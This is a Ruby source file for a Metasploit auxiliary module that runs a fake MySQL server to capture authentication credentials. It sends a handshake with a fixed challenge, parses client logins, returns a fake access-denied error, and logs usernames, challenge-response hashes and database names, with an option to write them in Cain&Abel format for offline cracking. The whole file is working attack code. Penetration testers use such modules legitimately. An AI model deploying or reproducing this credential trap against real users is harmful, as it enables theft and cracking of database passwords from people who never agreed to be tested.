##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::TcpServer
	include Msf::Auxiliary::Report

	def initialize
		super(
			'Name'           => 'Authentication Capture: MySQL',
			'Version'        => '$Revision$',
			'Description'    => %q{
				This module provides a fake MySQL service that is designed to
				capture authentication credentials. It captures	challenge and
				response pairs that can be supplied to Cain for	cracking.
			},
			'Author'         => 'Patrik Karlsson <patrik[at]cqure.net>',
			'License'        => MSF_LICENSE,
			'Actions'        => [ [ 'Capture' ] ],
			'PassiveActions' => [ 'Capture' ],
			'DefaultAction'  => 'Capture'
		)

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The local port to listen on.", 3306 ]),
				OptString.new('CHALLENGE', [ true, "The 16 byte challenge", "112233445566778899AABBCCDDEEFF1122334455" ]),
				OptString.new('SRVVERSION', [ true, "The server version to report in the greeting response", "5.5.16" ]),
				OptString.new('CAINPWFILE',  [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
			], self.class)
	end

	def setup
		super
		@state = {}
	end

	def run
		if datastore['CHALLENGE'].to_s =~ /^([a-fA-F1-9]{40})$/
			@challenge = [ datastore['CHALLENGE'] ].pack("H*")
		else
			print_error("CHALLENGE syntax must match 112233445566778899AABBCCDDEEFF1122334455")
			return
		end
		@version = datastore['SRVVERSION']
		exploit()
	end

	def on_client_connect(c)
		@state[c] = {
			:name    => "#{c.peerhost}:#{c.peerport}",
			:ip      => c.peerhost,
			:port    => c.peerport,
		}
		mysql_send_greeting(c)
	end

	def mysql_send_greeting(c)
		# http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol#Handshake_Initialization_Packet

		length = 68 + @version.length
		packetno = 0
		chall = String.new(@challenge)
		data = [
			( length & 0x00FFFFFF ) + ( packetno << 24 ), # length + packet no
			10, # protocol version: 10e
			@version, # server version: 5.5.16 (unless changed)
			rand(9999) + 1, # thread id
			chall.slice!(0,8), # the first 8 bytes of the challenge
			0x00, # filler
			0xfff7, # server capabilities
			0x21, # server language: UTF8
			0x0002, # server status
			"0f801500000000000000000000", # filler
			chall.slice!(0,12),
			"mysql_native_password"
		].pack("VCZ*VA*CnCvH*Z*Z*")
		c.put data
	end

	def mysql_process_login(data, info)
		length = ( data.slice(0,4).unpack("V")[0] & 0x00FFFFFF )
		packetno = ( data.slice!(0,4).unpack("V")[0] & 0xFF000000 ) >> 24
		flags = data.slice!(0,2).unpack("v")[0]
		if ( flags & 0x8000 ) != 0x8000
			info[:errors] << "Unsupported protocol detected"
			return info
		end

		# we're dealing with the 4.1+ protocol
		extflags = data.slice!(0,2).unpack("v")[0]
		maxpacket= data.slice!(0,4).unpack("N")[0]
		charset = data.slice!(0,1).unpack("C")[0]

		# slice away 23 bytes of filler
		data.slice!(0,23)

		info[:username] = data.slice!(0, data.index("\x00")+1).unpack("Z*")[0]
		response_len = data.slice!(0,1).unpack("C")[0]
		if response_len != 20
			return
		end
		info[:response] = data.slice!(0, 20).unpack("A*")[0]

		if ( flags & 0x0008 ) == 0x0008
			info[:database] = data.slice!(0, data.index("\x00")).unpack("A*")[0]
		end
		info
	end

	def mysql_send_error(c, msg)
		length = 9 + msg.length
		packetno = 2
		data = [
			( length & 0x00FFFFFF ) + ( packetno << 24 ), # length + packet no
			0xFF, # field count, always: ff
			1045, # error code
			0x23, # sqlstate marker, always '#'
			"28000", # sqlstate
			msg
		].pack("VCvCA*A*")
		c.put data
	end

	def on_client_data(c)
		info = { :errors => [] }
		data = c.get_once
		return if not data

		mysql_process_login(data, info)
		if info[:errors] and not info[:errors].empty?
			print_error("#{@state[c][:name]} #{info[:errors].join("\n")}")
		elsif info[:username] and info[:response]
			mysql_send_error(c, "Access denied for user '#{info[:username]}'@'#{c.peerhost}' (using password: YES)")
			if info[:database]
				print_status("MYSQL LOGIN: #{@state[c][:name]}; User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}; Database: #{info[:database]}")
			else
				print_status("MYSQL LOGIN: #{@state[c][:name]}; User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}")
			end
			hash_line = "#{info[:username]}:$mysql$#{@challenge.unpack("H*")[0]}$#{info[:response].unpack('H*')[0]}"
			report_auth_info(
				:host  => c.peerhost,
				:port => datastore['SRVPORT'],
				:sname => 'mysql_client',
				:user => info[:username],
				:pass => hash_line,
				:type => "mysql_hash",
				:proof => info[:database] ? info[:database] : hash_line,
				:source_type => "captured",
				:active => true
			)

			if (datastore['CAINPWFILE'])
				fd = ::File.open(datastore['CAINPWFILE'], "ab")
				fd.puts(
				[
					info[:username],
					"NULL",
					info[:response].unpack('H*')[0],
					@challenge.unpack('H*')[0],
					"SHA1"
				].join("\t").gsub(/\n/, "\\n")
				)
				fd.close
			end
		else
			mysql_send_error(c, "Access denied for user '#{info[:username]}'@'#{c.peerhost}' (using password: NO)")
		end
		c.close
	end

	def on_client_close(c)
		@state.delete(c)
	end
end